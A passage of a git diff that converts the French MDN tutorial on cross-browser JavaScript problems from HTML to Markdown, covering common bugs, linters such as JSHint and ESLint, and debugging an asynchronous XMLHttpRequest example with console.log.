testing</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> -</ul> +- [Introduction to cross browser testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction) +- [Strategies for carrying out testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies) +- [Handling common HTML and CSS problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS) +- [Handling common JavaScript problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript) +- [Handling common accessibility problems](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility) +- [Implementing feature detection](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection) +- [Introduction to automated testing](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing) +- [Setting up your own test automation environment](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment) diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md index d49fe44c33..9a5fccce95 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md @@ -13,361 +13,342 @@ tags: - test translation_of: Learn/Tools_and_testing/Cross_browser_testing/JavaScript --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> - -<p>Nous allons maintenant aborder les problèmes Javascript en navigateur croisé et comment les résoudre. Cela comprend des informations sur l'utilisation des outils de dev des navigateurs pour localiser et fixer les problèmes, l'utilisation des Polyfills et de librairies pour contourner les problèmes, utiliser les fonctionnalités modernes de Javascript sur des vieux navigateurs, et plus encore.</p> +Nous allons maintenant aborder les problèmes Javascript en navigateur croisé et comment les résoudre. Cela comprend des informations sur l'utilisation des outils de dev des navigateurs pour localiser et fixer les problèmes, l'utilisation des Polyfills et de librairies pour contourner les problèmes, utiliser les fonctionnalités modernes de Javascript sur des vieux navigateurs, et plus encore. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td> - <p>Connaissances de la base des langages <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS">CSS</a> et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut niveau des <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principes du test en navigateur croisé</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td> - <p>Être capable de diagnostiquer les problèmes courant de Javascript en navigateur croisé, et l'utilisation des outils et techniques appropriés pour les fixer.</p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + <p> + Connaissances de la base des langages + <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS" + >CSS</a + > + et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du + haut niveau des + <a + href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction" + >principes du test en navigateur croisé</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Être capable de diagnostiquer les problèmes courant de Javascript en + navigateur croisé, et l'utilisation des outils et techniques + appropriés pour les fixer. + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Les_problèmes_avec_le_Javascript">Les problèmes avec le Javascript</h2> +## Les problèmes avec le Javascript -<p>Historiquement, Javascript présentaient des problèmes de compatibilité entre navigateurs — retour aux années 1990, les navigateurs majeurs jusqu'alors (Internet Explorer et Netscape) implémentaient des scripts dans différents langages (Netscape avait JavaScript, IE avait JScript et proposait aussi VBScript comme une option), et bien que JavaScript et JScript étaient compatibles dans une certaine mesure (les deux sont basés sur la spécification {{glossary("ECMAScript")}} ), les éléments étaient souvent implémentés avec des conflits, des incompatibilités, ce qui causait bien des cauchemards aux développeurs.</p> +Historiquement, Javascript présentaient des problèmes de compatibilité entre navigateurs — retour aux années 1990, les navigateurs majeurs jusqu'alors (Internet Explorer et Netscape) implémentaient des scripts dans différents langages (Netscape avait JavaScript, IE avait JScript et proposait aussi VBScript comme une option), et bien que JavaScript et JScript étaient compatibles dans une certaine mesure (les deux sont basés sur la spécification {{glossary("ECMAScript")}} ), les éléments étaient souvent implémentés avec des conflits, des incompatibilités, ce qui causait bien des cauchemards aux développeurs. -<p>De tels problèmes d'incompabilités ont persistés jusqu'au début des années 2000, étant donné que les vieux navigateurs étaient encore utilisés et devaient donc encore être supportés par les site web. C'est une des raisons principale pour laquelle les librairies comme JQuery ont vu le jour — pour faire abstraction des différences entre les implémentations des navigateur (par ex. voir le bout de code dans <a href="/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_1_.E2.80.94_Lancement_d.27une_requ.C3.AAte_HTTP">Lancement d'une requête HTTP</a>) comme ça la développeurs n'ont qu'à écrire un simple morceau de code (voir <code><a href="http://api.jquery.com/jquery.ajax/">jQuery.ajax()</a></code>). JQuery (ou qu'importe la librarie que vous utilisez) procédera ensuite au traitement en arrière-plan, donc vous n'aurez pas à le faire.</p> +De tels problèmes d'incompabilités ont persistés jusqu'au début des années 2000, étant donné que les vieux navigateurs étaient encore utilisés et devaient donc encore être supportés par les site web. C'est une des raisons principale pour laquelle les librairies comme JQuery ont vu le jour — pour faire abstraction des différences entre les implémentations des navigateur (par ex. voir le bout de code dans [Lancement d'une requête HTTP](/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_1_.E2.80.94_Lancement_d.27une_requ.C3.AAte_HTTP)) comme ça la développeurs n'ont qu'à écrire un simple morceau de code (voir [`jQuery.ajax()`](http://api.jquery.com/jquery.ajax/)). JQuery (ou qu'importe la librarie que vous utilisez) procédera ensuite au traitement en arrière-plan, donc vous n'aurez pas à le faire. -<p>Les choses se sont bien améliorées depuis ; les navigateurs modernes font un bon travail en supportant "les fonctionnalités classiques de JavaScript", et les conditions pour utiliser ce genre de code ont diminué comme les prérequis pour supporter les plus vieux navigateurs ont diminué (gardez toutefois à l'esprit qu'elles n'ont pas tout entièrement disparues).</p> +Les choses se sont bien améliorées depuis ; les navigateurs modernes font un bon travail en supportant "les fonctionnalités classiques de JavaScript", et les conditions pour utiliser ce genre de code ont diminué comme les prérequis pour supporter les plus vieux navigateurs ont diminué (gardez toutefois à l'esprit qu'elles n'ont pas tout entièrement disparues). -<p>De nos jours, la plupart des problèmes de JavaScript en navigateur croisé sont :</p> +De nos jours, la plupart des problèmes de JavaScript en navigateur croisé sont : -<ul> - <li>Lorsque la mauvaise qualité du détecteur de code du navigateur, la fonctionnalité de détection de code ou l'utilisation des <a href="/fr/docs/Glossaire/Pr%C3%A9fixe_Vendeur">préfixes vendeurs</a> empêchent les navigateurs d'exécuter du code qu'autrement ils pourraient utiliser sans difficultés.</li> - <li>Lorsque les développeurs se servent de fonctionnalités nouvelles/naissantes JavaScript (par exemple les fonctionnalités <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6</a> / <a href="/fr/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next</a>, les APIs web modernes...) dans leur code, et trouvent que de telles fonctionnalités ne marchent pas sur d'anciens navigateurs.</li> -</ul> +- Lorsque la mauvaise qualité du détecteur de code du navigateur, la fonctionnalité de détection de code ou l'utilisation des [préfixes vendeurs](/fr/docs/Glossaire/Pr%C3%A9fixe_Vendeur) empêchent les navigateurs d'exécuter du code qu'autrement ils pourraient utiliser sans difficultés. +- Lorsque les développeurs se servent de fonctionnalités nouvelles/naissantes JavaScript (par exemple les fonctionnalités [ECMAScript 6](/fr/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla) / [ECMAScript Next](/fr/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla), les APIs web modernes...) dans leur code, et trouvent que de telles fonctionnalités ne marchent pas sur d'anciens navigateurs. -<p>Nous aborderons tout ces problèmes et d'autres encore plus bas.</p> +Nous aborderons tout ces problèmes et d'autres encore plus bas. -<h2 id="Résoudre_les_problèmes_généraux_en_JavaScript">Résoudre les problèmes généraux en JavaScript</h2> +## Résoudre les problèmes généraux en JavaScript -<p>Comme nous le disions dans l'<a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Commen%C3%A7ons_par_le_commencement_r%C3%A9soudre_les_probl%C3%A8mes_g%C3%A9n%C3%A9raux">article précédent</a> sur le HTML/CSS, vous devriez vous assurer que votre code fonctionne en général, avant de vous concentrer sur les problèmes en navigateur-croisé. Si vous n'êtes pas encore trop familier avec les bases de <a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">La résolution JavaScript</a>, vous devriez étudier cet article avant de continuer. Il y a plusieurs problèmes courants en JavaScript avec lesquelles vous devez être attentif, comme :</p> +Comme nous le disions dans l'[article précédent](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Commen%C3%A7ons_par_le_commencement_r%C3%A9soudre_les_probl%C3%A8mes_g%C3%A9n%C3%A9raux) sur le HTML/CSS, vous devriez vous assurer que votre code fonctionne en général, avant de vous concentrer sur les problèmes en navigateur-croisé. Si vous n'êtes pas encore trop familier avec les bases de [La résolution JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong), vous devriez étudier cet article avant de continuer. Il y a plusieurs problèmes courants en JavaScript avec lesquelles vous devez être attentif, comme : -<ul> - <li>Les problèmes basiques de syntaxe et de logique (une fois encore, aller voir <a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">La résolution JavaScript</a>).</li> - <li>Définir des variables sûres, etc. qui sont défnies dans le périmètre correct, et que vous ne rencontrez pas des conflits entre des items déclarés à des endroits différents (voir <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">Function scope and conflicts</a>).</li> - <li>La confusion à propos de <a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this">this</a>, concernant le périmètre auquel il s'applique, et par conséquent si sa valeur et celle que vous souhaitiez. Vous pouvez lire <a href="/fr/docs/Learn/JavaScript/Objects/Basics#Qu'est-ce_que_%C2%AB_this_%C2%BB">Qu'est-ce que "this" ?</a> pour une simple introduction ; vous devriez également étudier des exemples comme <a href="https://github.com/mdn/learning-area/blob/7ed039d17e820c93cafaff541aa65d874dde8323/javascript/oojs/assessment/main.js#L143">this one</a>, qui présente un modèle typique de sauvegarde du périmètre de <code>this</code> dans une variable séparée, puis utilise cette variable dans une fonction imbriquée pour que vous soyez sûr que vous appliquez la fonction au bon périmètre de <code>this</code>.</li> - <li>Utiliser les fonctions de manière incorrecte dans les boucles — par exemple, dans <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">bad-for-loop.html</a> (voir <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">code source</a>), on boucle sur 10 itérations, à chaque fois on créé un paragraphe et on y ajoute un évènement gestionnaire <a href="/fr/docs/Web/API/GlobalEventHandlers/onclick">onclick</a>. Lorsqu'ils sont cliqués, chacun d'entre eux doit fournir un message d'alerte contenant son numéro (la valeur de <code>i</code> au moment où il était créé), cependant chacun d'entre eux retourne <code>i</code> comme 11, parce que les boucle for font toutes leurs itérations avant que les fonctions imbriquées ne soit appelées. Si vous voulez que ça marche correctement, vous devez définir une fonction pour ajouter le gestionnaire séparément, l'appellant à chaque itération et lui passer la valeur courante de <code>para</code> et <code>i</code> à chaque fois (ou quelque chose de similaire). Voir <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html">good-for-loop.html</a> (voir également le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html">code source</a>) pour une version qui fonctionne.</li> - <li>S'assurer que les opérations asynchrones sont retournées avant d'essayer d'utiliser les valeurs qu'elles retournent. Par exemple, <a href="/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_3_.E2.80.94_Un_exemple_simple">cet exemple Ajax</a> vérifie que la requête est complète et que la réponse a été retournée avant qu'on ait essayé d'utiliser cette réponse pour quoi que ce soit. Ce type d'opération a été rendue plus simple à gérer grâce à l'introduction des <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise">Promises</a> dans le langage JavaScript.</li> -</ul> +- Les problèmes basiques de syntaxe et de logique (une fois encore, aller voir [La résolution JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong)). +- Définir des variables sûres, etc. qui sont défnies dans le périmètre correct, et que vous ne rencontrez pas des conflits entre des items déclarés à des endroits différents (voir [Function scope and conflicts](/fr/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts)). +- La confusion à propos de [this](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this), concernant le périmètre auquel il s'applique, et par conséquent si sa valeur et celle que vous souhaitiez. Vous pouvez lire [Qu'est-ce que "this" ?](/fr/docs/Learn/JavaScript/Objects/Basics#Qu'est-ce_que_%C2%AB_this_%C2%BB) pour une simple introduction ; vous devriez également étudier des exemples comme [this one](https://github.com/mdn/learning-area/blob/7ed039d17e820c93cafaff541aa65d874dde8323/javascript/oojs/assessment/main.js#L143), qui présente un modèle typique de sauvegarde du périmètre de `this` dans une variable séparée, puis utilise cette variable dans une fonction imbriquée pour que vous soyez sûr que vous appliquez la fonction au bon périmètre de `this`. +- Utiliser les fonctions de manière incorrecte dans les boucles — par exemple, dans [bad-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html) (voir [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html)), on boucle sur 10 itérations, à chaque fois on créé un paragraphe et on y ajoute un évènement gestionnaire [onclick](/fr/docs/Web/API/GlobalEventHandlers/onclick). Lorsqu'ils sont cliqués, chacun d'entre eux doit fournir un message d'alerte contenant son numéro (la valeur de `i` au moment où il était créé), cependant chacun d'entre eux retourne `i` comme 11, parce que les boucle for font toutes leurs itérations avant que les fonctions imbriquées ne soit appelées. Si vous voulez que ça marche correctement, vous devez définir une fonction pour ajouter le gestionnaire séparément, l'appellant à chaque itération et lui passer la valeur courante de `para` et `i` à chaque fois (ou quelque chose de similaire). Voir [good-for-loop.html](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html) (voir également le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html)) pour une version qui fonctionne. +- S'assurer que les opérations asynchrones sont retournées avant d'essayer d'utiliser les valeurs qu'elles retournent. Par exemple, [cet exemple Ajax](/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_3_.E2.80.94_Un_exemple_simple) vérifie que la requête est complète et que la réponse a été retournée avant qu'on ait essayé d'utiliser cette réponse pour quoi que ce soit. Ce type d'opération a été rendue plus simple à gérer grâce à l'introduction des [Promises](/fr/docs/Web/JavaScript/Reference/Objets_globaux/Promise) dans le langage JavaScript. -<div class="note"> -<p><strong>Note :</strong> <a href="https://www.toptal.com/javascript/10-most-common-javascript-mistakes">Buggy JavaScript Code: The 10 Most Common Mistakes JavaScript Developers Make</a> a des discussions intéressantes à propos de ces erreurs courantes et plus encore.</p> -</div> +> **Note :** [Buggy JavaScript Code: The 10 Most Common Mistakes JavaScript Developers Make](https://www.toptal.com/javascript/10-most-common-javascript-mistakes) a des discussions intéressantes à propos de ces erreurs courantes et plus encore. -<h3 id="Les_linters">Les linters</h3> +### Les linters -<p>Comme avec <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_linters">le HTML et le CSS</a>, vous pouvez garantir une meilleure qualité, vous êtes moins susceptible de faire des erreurs en utilisant un linter, qui vous signale les erreurs et met en évidence les avertissement concernant les mauvaises pratiques, etc., et peut être configuré pour être plus stricte ou plus coulant dans leurs rapport d'erreur/avertissement. Les linters JavaScript/ECMAScript que nous vous recommandons sont <a href="http://jshint.com/">JSHint</a> et <a href="http://eslint.org/">ESLint</a> ; ils peuvent être utilisés de différentes façons, nous détaillerons certaines d'entre elles plus bas.</p> +Comme avec [le HTML et le CSS](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_et_CSS#Les_linters), vous pouvez garantir une meilleure qualité, vous êtes moins susceptible de faire des erreurs en utilisant un linter, qui vous signale les erreurs et met en évidence les avertissement concernant les mauvaises pratiques, etc., et peut être configuré pour être plus stricte ou plus coulant dans leurs rapport d'erreur/avertissement. Les linters JavaScript/ECMAScript que nous vous recommandons sont [JSHint](http://jshint.com/) et [ESLint](http://eslint.org/) ; ils peuvent être utilisés de différentes façons, nous détaillerons certaines d'entre elles plus bas. -<h4 id="En_ligne">En ligne</h4> +#### En ligne -<p>La <a href="http://jshint.com/">page d'accueil de JSHint</a> fournit un linter en ligne, qui vous permet d'entrer votre code JavaScript sur la gauche et vous fournit un résultat sur la droite, incluant des indicateurs, des avertissements, et des erreurs.</p> +La [page d'accueil de JSHint](http://jshint.com/) fournit un linter en ligne, qui vous permet d'entrer votre code JavaScript sur la gauche et vous fournit un résultat sur la droite, incluant des indicateurs, des avertissements, et des erreurs. -<p><img alt="" src="jshint-online.png"></p> + -<h4 id="Les_plugins_des_éditeurs_de_code">Les plugins des éditeurs de code</h4> +#### Les plugins des éditeurs de code -<p>Ce n'est pas très pratique de devoir copier et coller votre code sur une page web pour vérifier sa validité à plusieur reprises. Ce dont vous avez vraiment besoin c'est un linter qui va s'adapter à votre espace de travail standard avec le minimum de prise de tête. Beaucoup d'éditeurs de code ont leur plugins linter, par exemple l'éditeur de code <a href="https://atom.io/">Atom</a> de Github a un plugin JSHint disponible :</p> +Ce n'est pas très pratique de devoir copier et coller votre code sur une page web pour vérifier sa validité à plusieur reprises. Ce dont vous avez vraiment besoin c'est un linter qui va s'adapter à votre espace de travail standard avec le minimum de prise de tête. Beaucoup d'éditeurs de code ont leur plugins linter, par exemple l'éditeur de code [Atom](https://atom.io/) de Github a un plugin JSHint disponible : -<p>Pour l'installer :</p> +Pour l'installer : -<ol> - <li>Installez Atom (si vous n'avez pas encore une version à jour déjà installée) — téléchargez-le depuis la page Atom linkée plus haut.</li> - <li>Aller dans la boîte de dialogue <em>Préférences...</em> d'Atom (par ex. en choisissant <em>Atom</em> > <em>Préférences... </em>sur Windows/Linux) et choisissez l'option <em>Installer</em> dans le menu gauche.</li> - <li>Dans le champs text <em>Rechercher packages</em>, taper "jslint" et presser Entrée/Envoyer pour rechercher des packages en liaisons avec le linting.</li> - <li>Vous devriez voir un package appellé <strong>lint</strong> en haut de la liste. Installez-le en premier (en utilisant le bouton <em>Installer</em>), comme les autres sont dépendants de celui-ci pour fonctionner. Ensuite, installez le plugin <strong>linter-jshint</strong>.</li> - <li>Une fois que les packages ont terminé de s'installer, essayez de charger un fichier JavaScript : vous verrez tous les problèmes surlignés en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de lignes, et un panneau séparé en bas qui vous fournit les numéros de lignes, les messages d'erreur, et parfois des valeur suggérées ou d'autres solutions.</li> -</ol> +1. Installez Atom (si vous n'avez pas encore une version à jour déjà installée) — téléchargez-le depuis la page Atom linkée plus haut. +2. Aller dans la boîte de dialogue _Préférences..._ d'Atom (par ex. en choisissant _Atom_ > _Préférences..._ sur Windows/Linux) et choisissez l'option _Installer_ dans le menu gauche. +3. Dans le champs text _Rechercher packages_, taper "jslint" et presser Entrée/Envoyer pour rechercher des packages en liaisons avec le linting. +4. Vous devriez voir un package appellé **lint** en haut de la liste. Installez-le en premier (en utilisant le bouton _Installer_), comme les autres sont dépendants de celui-ci pour fonctionner. Ensuite, installez le plugin **linter-jshint**. +5. Une fois que les packages ont terminé de s'installer, essayez de charger un fichier JavaScript : vous verrez tous les problèmes surlignés en vert (pour les avertissements) et des cercles rouges (pour les erreurs) à côté des numéros de lignes, et un panneau séparé en bas qui vous fournit les numéros de lignes, les messages d'erreur, et parfois des valeur suggérées ou d'autres solutions. -<p><img alt="" src="jshint-linter.png">D'autres éditeurs répandus ont des packages similaires de linting disponibles. Par exemple, voir la section "Plugins for text editors and IDEs" de la <a href="http://jshint.com/install/">page d'installation de JSHint</a>.</p> +D'autres éditeurs répandus ont des packages similaires de linting disponibles. Par exemple, voir la section "Plugins for text editors and IDEs" de la [page d'installation de JSHint](http://jshint.com/install/). -<h4 id="Autres_usages">Autres usages</h4> +#### Autres usages -<p>Il y a d'autres façons d'utiliser de tels linter ; vous pouvez vous renseignez à ce propos sur les pages d'installation de <a href="http://jshint.com/install/">JSHint</a> et <a href="http://eslint.org/docs/user-guide/getting-started">ESLint</a>.</p> +Il y a d'autres façons d'utiliser de tels linter ; vous pouvez vous renseignez à ce propos sur les pages d'installation de [JSHint](http://jshint.com/install/) et [ESLint](http://eslint.org/docs/user-guide/getting-started). -<p>Il convient de mentionner l'utilisation de ligne de commande — vous pouvez installer ces outils avec les utilitaires de ligne de commande (disponible via ILC — interface de ligne de commande) en utilisant npm (Node Package Manager — vous devrez installer <a href="https://nodejs.org/en/">NodeJS</a> en premier). Par exemple, la ligne de commande suivante installe JSHint :</p> +Il convient de mentionner l'utilisation de ligne de commande — vous pouvez installer ces outils avec les utilitaires de ligne de commande (disponible via ILC — interface de ligne de commande) en utilisant npm (Node Package Manager — vous devrez installer [NodeJS](https://nodejs.org/en/) en premier). Par exemple, la ligne de commande suivante installe JSHint : -<pre class="brush: bash">npm install -g jshint -</pre> +```bash +npm install -g jshint +``` -<p>Vous pouvez ensuite indiquer à ces outils les fichiers JavaScript que vous voulez lint, par exemple :<img alt="" src="js-hint-commandline.png">Vous pouvez également utiliser ces outils avec un exécuteur de tâche/outil de build comme <a href="http://gulpjs.com/">Gulp</a> ou <a href="https://webpack.github.io/">Webpack</a> pour linter automatiquement votre JavaScript pendant le développement. (voir <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools">Using a task runner to automate testing tools</a> dans un article ultérieur). Voir <a href="http://eslint.org/docs/user-guide/integrations">ESLint integrations</a> pour les options de ESLint ; JSHint est supporté nativement par Grunt, et a également d'autre intégrations possibles, par ex. <a href="https://github.com/webpack/jshint-loader">JSHint loader for Webpack</a>.</p> +Vous pouvez ensuite indiquer à ces outils les fichiers JavaScript que vous voulez lint, par exemple :Vous pouvez également utiliser ces outils avec un exécuteur de tâche/outil de build comme [Gulp](http://gulpjs.com/) ou [Webpack](https://webpack.github.io/) pour linter automatiquement votre JavaScript pendant le développement. (voir [Using a task runner to automate testing tools](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools) dans un article ultérieur). Voir [ESLint integrations](http://eslint.org/docs/user-guide/integrations) pour les options de ESLint ; JSHint est supporté nativement par Grunt, et a également d'autre intégrations possibles, par ex. [JSHint loader for Webpack](https://github.com/webpack/jshint-loader). -<div class="note"> -<p><strong>Note :</strong> ESLint prend un peu plus de temps à l'installation et à la configuration que JSHint, mais il est également plus puissant.</p> -</div> +> **Note :** ESLint prend un peu plus de temps à l'installation et à la configuration que JSHint, mais il est également plus puissant. -<h3 id="Les_outils_de_développement_des_navigateurs">Les outils de développement des navigateurs</h3> +### Les outils de développement des navigateurs -<p>Les outils de développement des navigateurs ont beaucoup de fonctionnalités utiles pour aider à déboguer JavaScript. Pour commencer, la console JavaScript reportera les erreurs dans votre code.</p> +Les outils de développement des navigateurs ont beaucoup de fonctionnalités utiles pour aider à déboguer JavaScript. Pour commencer, la console JavaScript reportera les erreurs dans votre code. -<p>Faîtes une copie locale de notre exemple <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">broken-ajax.html</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">code source</a>). Si vous regardez dans la console, vous verrez le résultat suivant :</p> +Faîtes une copie locale de notre exemple [broken-ajax.html](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html)). Si vous regardez dans la console, vous verrez le résultat suivant : -<p><img alt="" src="broken-ajax.png"></p> + -<p>Le message d'erreur affiche "TypeError: jsonObj is null", et le numéro de ligne signifiée et le 37. Si nous regardons le code source, la section de code concernée est celle-ci :</p> +Le message d'erreur affiche "TypeError: jsonObj is null", et le numéro de ligne signifiée et le 37. Si nous regardons le code source, la section de code concernée est celle-ci : -<pre class="brush: js">function populateHeader(jsonObj) { +```js +function populateHeader(jsonObj) { var myH1 = document.createElement('h1'); -<strong> myH1.textContent = jsonObj['squadName'];</strong> + myH1.textContent = jsonObj['squadName']; header.appendChild(myH1); - ...</pre> + ... +``` -<p>Le code casse aussitôt qu'on essaye d'accèder à <code>jsonObj</code> (ce qui comme vous pouvez vous y attendre, est supposé être un <a href="/fr/docs/Learn/JavaScript/Objects/JSON">objet JSON</a>). C'est supposé aller le chercher dans un fichier externe <code>.json</code> en utilisant l'appel XMLHttpRequest suivant :</p> +Le code casse aussitôt qu'on essaye d'accèder à `jsonObj` (ce qui comme vous pouvez vous y attendre, est supposé être un [objet JSON](/fr/docs/Learn/JavaScript/Objects/JSON)). C'est supposé aller le chercher dans un fichier externe `.json` en utilisant l'appel XMLHttpRequest suivant : -<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +```js +var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; var request = new XMLHttpRequest(); request.open('GET', requestURL); request.send(); -<strong>var superHeroes = request.response;</strong> +var superHeroes = request.response; populateHeader(superHeroes); -showHeroes(superHeroes);</pre> +showHeroes(superHeroes); +``` -<p>Mais cela échoue.</p> +Mais cela échoue. -<h4 id="LAPI_Console">L'API Console</h4> +#### L'API Console -<p>Vous savez peut-être déjà ce qui ne va pas avec ce code, mais analysons-le un peu plus pour vous montrer comment vous pouvez l'examiner. Premièrement, il y a une API <a href="/fr/docs/Web/API/Console">Console</a> qui permet au code JavaScript d'interragir avec la console JavaScript du navigateur. Il y a un nombre de fonctionnalités disponibles, mais la principale que vous utiliserez le plus souvent est <code><a href="/fr/docs/Web/API/Console/log">console.log()</a></code>, qui affiche un message d'erreur personnalisé dans la console.</p> +Vous savez peut-être déjà ce qui ne va pas avec ce code, mais analysons-le un peu plus pour vous montrer comment vous pouvez l'examiner. Premièrement, il y a une API [Console](/fr/docs/Web/API/Console) qui permet au code JavaScript d'interragir avec la console JavaScript du navigateur. Il y a un nombre de fonctionnalités disponibles, mais la principale que vous utiliserez le plus souvent est [`console.log()`](/fr/docs/Web/API/Console/log), qui affiche un message d'erreur personnalisé dans la console. -<p>Essayer d'insérer la ligne suivante juste avant la ligne 31 (en gras au-dessus) :</p> +Essayer d'insérer la ligne suivante juste avant la ligne 31 (en gras au-dessus) : -<pre class="brush: js">console.log('Response value: ' + superHeroes);</pre> +```js +console.log('Response value: ' + superHeroes); +``` -<p>Rafraîchissez la page dans le navigateur, et vous obtiendrez un résultat dans la console comme celui-ci :</p> +Rafraîchissez la page dans le navigateur, et vous obtiendrez un résultat dans la console comme celui-ci : -<p><img alt="" src="console-log.png"></p> + -<p>Le résultat de <code>console.log()</code> montre que l'objet <code>superHeroes</code> ne semble pas contenir quoi que ce soit, bien que vous remarquerez que l'erreur a maintenant changé en "TypeError: heroes is undefined". Cela montre que l'erreur est intermittente, mettant ainsi en évidence qu'il s'agit d'une erreur asynchrone. Corrigeons l'erreur actuelle et avançons — retirer la ligne <code>console.log()</code>, et mettez à jour ce bloc de code :</p> +Le résultat de `console.log()` montre que l'objet `superHeroes` ne semble pas contenir quoi que ce soit, bien que vous remarquerez que l'erreur a maintenant changé en "TypeError: heroes is undefined". Cela montre que l'erreur est intermittente, mettant ainsi en évidence qu'il s'agit d'une erreur asynchrone. Corrigeons l'erreur actuelle et avançons — retirer la ligne `console.log()`, et mettez à jour ce bloc de code : -<pre class="brush: js">var superHeroes = request.response; +```js +var superHeroes = request.response; populateHeader(superHeroes); -showHeroes(superHeroes);</pre> +showHeroes(superHeroes); +``` -<p>par le suivant :</p> +par le suivant : -<pre class="brush: js">request.onload = function() { +```js +request.onload = function() { var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); -}</pre> +} +``` -<p>Cela résout le problème asynchrone, en garantissant que les fonctions ne sont pas exécutées et passent l'objet <code>superHeroes</code> jusqu'à ce que la réponse ait fini de charger et soit disponible.</p> +Cela résout le problème asynchrone, en garantissant que les fonctions ne sont pas exécutées et passent l'objet `superHeroes` jusqu'à ce que la réponse ait fini de charger et soit disponible. -<p>En résumé, à chaque fois que quelque chose ne marche pas et qu'une valeur ne paraît pas être ce qu'elle est censée être à un moment dans votre code, vous pouvez utiliser <code>console.log()</code> pour l'afficher et voir ce qu'il se passe.</p> +En résumé, à chaque fois que quelque chose ne marche pas et qu'une valeur ne paraît pas être ce qu'elle est censée être à un moment dans votre code, vous pouvez utiliser 